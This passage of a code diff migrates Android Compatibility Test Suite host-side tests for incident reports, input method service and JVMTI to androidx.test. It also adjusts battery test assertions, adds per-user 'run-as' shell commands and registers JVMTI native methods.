-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.After;
 import org.junit.Before;
diff --git a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
index 9956e79..4389c76 100644
--- a/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
+++ b/hostsidetests/incident/apps/batterystatsapp/src/com/android/server/cts/device/batterystats/BatteryStatsWakeLockTests.java
@@ -15,11 +15,10 @@
  */
 package com.android.server.cts.device.batterystats;
 
-import android.content.Context;
 import android.os.PowerManager;
-import android.support.test.runner.AndroidJUnit4;
 
-import org.junit.Before;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/incident/apps/boundwidgetapp/Android.mk b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
index 0b6a884..0a671a1 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/Android.mk
+++ b/hostsidetests/incident/apps/boundwidgetapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit android.test.base.stubs
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
index 312d05d..9825d5c 100644
--- a/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/boundwidgetapp/AndroidManifest.xml
@@ -40,7 +40,7 @@
 
   </application>
 
-  <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+  <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
       android:targetPackage="android.appwidget.cts"
       android:label="CTS Tests for the dumpsys protobuf protocol">
       <meta-data android:name="listener"
diff --git a/hostsidetests/incident/apps/errorsapp/Android.mk b/hostsidetests/incident/apps/errorsapp/Android.mk
index ec80ba8..e100684 100644
--- a/hostsidetests/incident/apps/errorsapp/Android.mk
+++ b/hostsidetests/incident/apps/errorsapp/Android.mk
@@ -32,8 +32,8 @@
 LOCAL_JNI_SHARED_LIBRARIES := libcrash-jni
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
index 41fde5c..b0c516e 100644
--- a/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/errorsapp/AndroidManifest.xml
@@ -29,7 +29,7 @@
         <activity android:name=".NativeActivity" android:label="Native Crash Test Activity" android:process=":TestProcess" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.errors" />
 </manifest>
 
diff --git a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
index f5ce5d9..00296b3 100644
--- a/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
+++ b/hostsidetests/incident/apps/errorsapp/src/com/android/server/cts/errors/ErrorsTests.java
@@ -22,17 +22,18 @@
 import android.content.Intent;
 import android.content.IntentFilter;
 import android.os.DropBoxManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
 /**
  * Used by ErrorTest. Spawns misbehaving activities so reports will appear in Dropbox.
  */
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
index ebcea6b..5dcb56d 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/graphicsstatsapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
index cfe80be..0f9a3a0 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/graphicsstatsapp/AndroidManifest.xml
@@ -23,6 +23,6 @@
         <activity android:name=".DrawFramesActivity" android:label="GraphicsStats Test Activity" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.server.cts.device.graphicsstats" />
 </manifest>
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
index b2b8b7d..56413f8 100644
--- a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
+++ b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/SimpleDrawFrameTests.java
@@ -15,15 +15,16 @@
  */
 package com.android.server.cts.device.graphicsstats;
 
-import android.support.test.filters.LargeTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import androidx.test.filters.LargeTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
 
 /**
  * Used by GraphicsStatsTest.
diff --git a/hostsidetests/incident/apps/netstatsapp/Android.mk b/hostsidetests/incident/apps/netstatsapp/Android.mk
index 158fb35..9f4af1d 100644
--- a/hostsidetests/incident/apps/netstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/netstatsapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
index b9d4d17..df045fd 100644
--- a/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/netstatsapp/AndroidManifest.xml
@@ -23,6 +23,6 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.netstats" />
 </manifest>
diff --git a/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
index bdc5fd3..e9ec71e 100644
--- a/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
+++ b/hostsidetests/incident/apps/netstatsapp/src/com/android/server/cts/netstats/NetstatsDeviceTest.java
@@ -16,9 +16,10 @@
 package com.android.server.cts.netstats;
 
 import android.net.TrafficStats;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.Log;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/incident/apps/notificationsapp/Android.mk b/hostsidetests/incident/apps/notificationsapp/Android.mk
index af1619e..4281861 100644
--- a/hostsidetests/incident/apps/notificationsapp/Android.mk
+++ b/hostsidetests/incident/apps/notificationsapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
index efafd69..7872b9e 100644
--- a/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/notificationsapp/AndroidManifest.xml
@@ -22,6 +22,6 @@
         <activity android:name=".NotificationIncidentTestActivity" android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.procstats" />
 </manifest>
diff --git a/hostsidetests/incident/apps/procstatsapp/Android.mk b/hostsidetests/incident/apps/procstatsapp/Android.mk
index 47b9c77..9676ee8 100644
--- a/hostsidetests/incident/apps/procstatsapp/Android.mk
+++ b/hostsidetests/incident/apps/procstatsapp/Android.mk
@@ -27,8 +27,8 @@
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
     androidx.legacy_legacy-support-v4
 
 LOCAL_SDK_VERSION := test_current
diff --git a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
index a0cccb4..4b68a0e 100644
--- a/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
+++ b/hostsidetests/incident/apps/procstatsapp/AndroidManifest.xml
@@ -22,6 +22,6 @@
         <activity android:name=".SimpleActivity" android:exported="true" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="com.android.server.cts.procstats" />
 </manifest>
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
index c038eb2..596720c 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryIncidentTest.java
@@ -56,7 +56,7 @@
         assertTrue(scale > 0);
         int level = dump.getLevel();
         assertTrue(level >= 0 && level <= scale);
-        assertTrue(dump.getVoltage() > 0);
+        assertTrue(dump.getVoltage() >= 0);
     }
 
     static boolean hasBattery(ITestDevice device) throws DeviceNotAvailableException {
diff --git a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
index 65cb2a5..bbdcb08 100644
--- a/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/BatteryStatsValidationTest.java
@@ -72,6 +72,9 @@
     public static final String KEY_REQUEST_CODE = "request_code";
     public static final String BG_VS_FG_TAG = "BatteryStatsBgVsFgActions";
 
+    // Constants from BatteryMangager.
+    public static final int BATTERY_STATUS_DISCHARGING = 3;
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -109,11 +112,13 @@
 
     protected void batteryOnScreenOn() throws Exception {
         getDevice().executeShellCommand("dumpsys battery unplug");
+        getDevice().executeShellCommand("dumpsys battery set status " + BATTERY_STATUS_DISCHARGING);
         getDevice().executeShellCommand("dumpsys batterystats disable pretend-screen-off");
     }
 
     protected void batteryOnScreenOff() throws Exception {
         getDevice().executeShellCommand("dumpsys battery unplug");
+        getDevice().executeShellCommand("dumpsys battery set status " + BATTERY_STATUS_DISCHARGING);
         getDevice().executeShellCommand("dumpsys batterystats enable pretend-screen-off");
     }
 
@@ -490,7 +495,7 @@
     }
 
     private void assertApproximateTimeInState(int index, long duration) throws Exception {
-        assertValueRange("st", "", index, (long) (0.8 * duration), 2 * duration);
+        assertValueRange("st", "", index, (long) (0.7 * duration), 2 * duration);
     }
 
     /**
diff --git a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
index b17f3c4..13718a9 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ProtoDumpTestCase.java
@@ -38,9 +38,9 @@
 import com.google.protobuf.Parser;
 
 import java.io.FileNotFoundException;
+import java.util.Map;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.Map;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -70,7 +70,7 @@
 
     protected IBuildInfo mCtsBuild;
 
-    private static final String TEST_RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String TEST_RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     @Override
     protected void setUp() throws Exception {
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
index 1727ad7..636d3ab 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_JAVA_RESOURCE_DIR := res
 LOCAL_JAVA_LIBRARY := android.test.runner.stubs
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
+    androidx.test.rules \
     hamcrest hamcrest-library \
     ub-uiautomator \
     CtsInputMethodServiceCommon \
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
index e585bcb..fa6d62d 100755
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/AndroidManifest.xml
@@ -33,7 +33,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.inputmethodservice.cts.devicetest" />
 
 </manifest>
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
index 348ea99..a406387 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/InputMethodServiceDeviceTest.java
@@ -49,7 +49,8 @@
 import android.inputmethodservice.cts.common.test.ShellCommandUtils;
 import android.inputmethodservice.cts.devicetest.SequenceMatcher.MatchResult;
 import android.os.SystemClock;
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiObject2;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -211,7 +212,8 @@
         final long startActivityTime = SystemClock.uptimeMillis();
         helper.launchActivity(EditTextAppConstants.PACKAGE, EditTextAppConstants.CLASS,
                 EditTextAppConstants.URI);
-        helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
+        final UiObject2 editText = helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME);
+        editText.click();
 
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(startActivityTime))
@@ -226,7 +228,7 @@
         helper.shell(ShellCommandUtils.uninstallPackage(Ime1Constants.PACKAGE));
 
         helper.shell(ShellCommandUtils.setCurrentImeSync(Ime2Constants.IME_ID));
-        helper.findUiObject(EditTextAppConstants.EDIT_TEXT_RES_NAME).click();
+        editText.click();
         pollingCheck(() -> helper.queryAllEvents()
                         .filter(isNewerThan(imeForceStopTime))
                         .anyMatch(isFrom(Ime2Constants.CLASS).and(isType(ON_START_INPUT))),
diff --git a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
index dda48a0..20df53a 100644
--- a/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
+++ b/hostsidetests/inputmethodservice/deviceside/devicetest/src/android/inputmethodservice/cts/devicetest/TestHelper.java
@@ -29,13 +29,13 @@
 import android.inputmethodservice.cts.common.EventProviderConstants.EventTableConstants;
 import android.inputmethodservice.cts.common.test.TestInfo;
 import android.net.Uri;
-import androidx.annotation.IdRes;
-import android.support.test.InstrumentationRegistry;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject2;
 import android.support.test.uiautomator.Until;
 
+import androidx.test.InstrumentationRegistry;
+
 import java.io.IOException;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
diff --git a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
index 7565023..faebb9f 100755
--- a/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
+++ b/hostsidetests/inputmethodservice/deviceside/edittextapp/AndroidManifest.xml
@@ -41,6 +41,6 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.inputmethodservice.cts.edittextapp" />
 </manifest>
diff --git a/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
index 76d753c..024f084 100755
--- a/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
+++ b/hostsidetests/jvmti/allocation-tracking/app/AndroidManifest.xml
@@ -26,7 +26,7 @@
 
     <!--  self-instrumenting test package. -->
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.tracking" >
     </instrumentation>
diff --git a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
index 7a13e79..6c22f37 100644
--- a/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
+++ b/hostsidetests/jvmti/allocation-tracking/app/src/android/jvmti/cts/JvmtiTrackingTest.java
@@ -22,16 +22,12 @@
 import art.Main;
 
 /**
- * Check tagging-related functionality.
+ * Check tracking-related functionality.
  */
 public class JvmtiTrackingTest extends JvmtiTestBase {
 
     @Before
     public void setUp() throws Exception {
-        // Bind our native methods.
-        Main.bindAgentJNI("android/jvmti/cts/JvmtiTrackingTest",
-                getClass().getClassLoader());
-
         prefetchClassNames();
     }
 
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index becabe1..9269a27 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -49,6 +49,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -66,6 +67,11 @@
 
     private final static String AGENT = "libctsjvmtiattachagent.so";
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmtiAttachDuringBind() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
@@ -79,7 +85,8 @@
     public void testJvmtiAttachEarly() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -125,7 +132,8 @@
     public void testJvmtiAgentAppExternal() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -219,13 +227,14 @@
             }
 
             String runAsCp = device.executeShellCommand(
-                    "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+                    "run-as " + pkg + " --user " + mCurrentUser +
+                            " cp " + libInTmp + " " + libInDataData);
             if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                 throw new RuntimeException(runAsCp.trim());
             }
 
-            String runAsChmod = device
-                    .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+            String runAsChmod = device.executeShellCommand(
+                    "run-as " + pkg + " --user " + mCurrentUser + " chmod a+x " + libInDataData);
             if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                 throw new RuntimeException(runAsChmod.trim());
             }
diff --git a/hostsidetests/jvmti/base/app/Android.mk b/hostsidetests/jvmti/base/app/Android.mk
index 1c9b276..5d75568 100644
--- a/hostsidetests/jvmti/base/app/Android.mk
+++ b/hostsidetests/jvmti/base/app/Android.mk
@@ -22,7 +22,7 @@
 LOCAL_DEX_PREOPT := false
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner \
-    compatibility-device-util \
+    ctstestrunner-axt \
+    compatibility-device-util-axt \
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
index 0b54a93..c67f9b8 100644
--- a/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
+++ b/hostsidetests/jvmti/base/app/src/android/jvmti/cts/JvmtiTestBase.java
@@ -15,15 +15,16 @@
  */
 package android.jvmti.cts;
 
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
+import android.jvmti.JvmtiActivity;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
 
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.runner.RunWith;
 
-import android.jvmti.JvmtiActivity;
 import art.CtsMain;
 
 /**
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index f80492c..c7ceba6 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -45,7 +45,7 @@
  * test run and attaches the agent.
  */
 public class JvmtiHostTest extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
     // inject these options from HostTest directly using --set-option <option name>:<option value>
     @Option(name = "package-name",
             description = "The package name of the device test",
@@ -59,6 +59,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -70,6 +71,11 @@
         mAbi = arg0;
     }
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmti() throws Exception {
         final ITestDevice device = getDevice();
 
@@ -123,7 +129,8 @@
         @Override
         public void run() {
             try {
-                String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
+                String pwd = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -165,13 +172,15 @@
                 }
 
                 String runAsCp = mDevice.executeShellCommand(
-                        "run-as " + mPkg + " cp " + libInTmp + " " + libInDataData);
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " cp " + libInTmp + " " + libInDataData);
                 if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                     throw new RuntimeException(runAsCp.trim());
                 }
 
-                String runAsChmod = mDevice
-                        .executeShellCommand("run-as " + mPkg + " chmod a+x " + libInDataData);
+                String runAsChmod = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " chmod a+x " + libInDataData);
                 if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                     throw new RuntimeException(runAsChmod.trim());
                 }
diff --git a/hostsidetests/jvmti/base/jni/cts_agent.cpp b/hostsidetests/jvmti/base/jni/cts_agent.cpp
index 665a47e..3f3a836 100644
--- a/hostsidetests/jvmti/base/jni/cts_agent.cpp
+++ b/hostsidetests/jvmti/base/jni/cts_agent.cpp
@@ -25,12 +25,26 @@
 
 namespace art {
 
+extern void register_art_Main(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiRedefineClassesTest(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiTaggingTest(jvmtiEnv*, JNIEnv*);
+extern void register_android_jvmti_cts_JvmtiTrackingTest(jvmtiEnv*, JNIEnv*);
+
 static void InformMainAttach(jvmtiEnv* jenv,
                              JNIEnv* env,
                              const char* class_name,
                              const char* method_name) {
+  // Register native methods from available classes
+  // The agent is used with each test class, but we don't know which class is currently available.
+  // For that reason, we try to register the native methods in each one. Each function returns
+  // without throwing an error if the specified class can't be found.
+  register_art_Main(jenv, env);
+  register_android_jvmti_cts_JvmtiRedefineClassesTest(jenv, env);
+  register_android_jvmti_cts_JvmtiTaggingTest(jenv, env);
+  register_android_jvmti_cts_JvmtiTrackingTest(jenv, env);
+
   // Use JNI to load the class.
-  ScopedLocalRef<jclass> klass(env, FindClass(jenv, env, class_name, nullptr));
+  ScopedLocalRef<jclass> klass(env, GetClass(jenv, env, class_name, nullptr));
   CHECK(klass.get() != nullptr) << class_name;
 
   jmethodID method = env->GetStaticMethodID(klass.get(), method_name, "()V");
diff --git a/hostsidetests/jvmti/base/jni/redefine.cpp b/hostsidetests/jvmti/base/jni/redefine.cpp
index f96108c..1a044ca 100644
--- a/hostsidetests/jvmti/base/jni/redefine.cpp
+++ b/hostsidetests/jvmti/base/jni/redefine.cpp
@@ -23,6 +23,7 @@
 
 #include "android-base/logging.h"
 #include "android-base/macros.h"
+#include "jni_binder.h"
 #include "jni_helper.h"
 #include "jvmti_helper.h"
 #include "jvmti.h"
@@ -172,5 +173,40 @@
   env->ReleaseByteArrayElements(dex_bytes, redef_bytes, 0);
 }
 
+static JNINativeMethod gMethods[] = {
+  { "redefineClass", "(Ljava/lang/Class;[B)I",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_redefineClass },
+
+  { "retransformClass", "(Ljava/lang/Class;)I",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_retransformClass },
+
+  { "setTransformationEvent", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_setTransformationEvent },
+
+  { "clearTransformations", "()V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_clearTransformations },
+
+  { "setPopTransformations", "(Z)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_setPopTransformations },
+
+  { "pushTransformationResult", "(Ljava/lang/String;[B)V",
+          (void*)Java_android_jvmti_cts_JvmtiRedefineClassesTest_pushTransformationResult },
+};
+
